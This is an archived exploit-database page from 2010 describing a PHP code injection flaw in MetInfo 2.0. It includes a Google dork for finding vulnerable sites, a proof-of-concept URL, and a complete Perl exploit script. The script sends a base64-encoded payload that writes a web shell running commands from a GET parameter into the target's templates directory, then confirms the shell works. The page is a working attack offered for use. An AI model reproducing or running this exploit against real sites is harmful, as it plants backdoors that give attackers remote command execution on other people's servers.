[webapps / 0day] - MetInfo 2.0 PHP Code Injection Vulnerabil
Posted on 31 October 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>MetInfo 2.0 PHP Code Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='MetInfo 2.0 PHP Code Injection Vulnerability by Beach in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>============================================ MetInfo 2.0 PHP Code Injection Vulnerability ============================================ ##################################################################################################### #Exploit Title£ºMetInfo 2.0 PHP Code Injection Vulnerability #Date:2010-10-31 #Author£ºlinux520.com #Team£ºhttp://www.linux520.com/ #Vendor£ºhttp://www.metinfo.cn/ #Dork£º"Powered by MetInfo 2.0 " # Google: 90,000 + results #Price£º free #Language£ºPHP #Greetz£ºCCAV ##################################################################################################### +Description£º at 132 line of ROOTPATH/include/common.inc.php: eval(base64_decode($class2_all_1[0])); $class2_all_1[0] is not defined £¬so we can inject eval php code ##################################################################################################### +POC£ºhttp://victim.com/include/common.inc.php?$class2_all_1[0]=[base64_encode(eval php code)] ##################################################################################################### +Exploit: #!/usr/bin/env perl use LWP::UserAgent; print "################################################################ "; print "# MetInfo 2.0 c0de inj3cti0n 3xplo!t # "; print "# by:linux520.com # "; print "################################################################ "; die "Usage: $0 <target site> Ex:$0 victim.com " unless($ARGV[0]); my $victim = $ARGV[0]; $user_agent = new LWP::UserAgent; $vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs="); # fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>'); $user_agent->request($vul_request); $response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php")); if($response->is_success) { print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id"; } else { print "could not connect to $victim"; } ##################################################################################################### # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-31]</pre></body></html>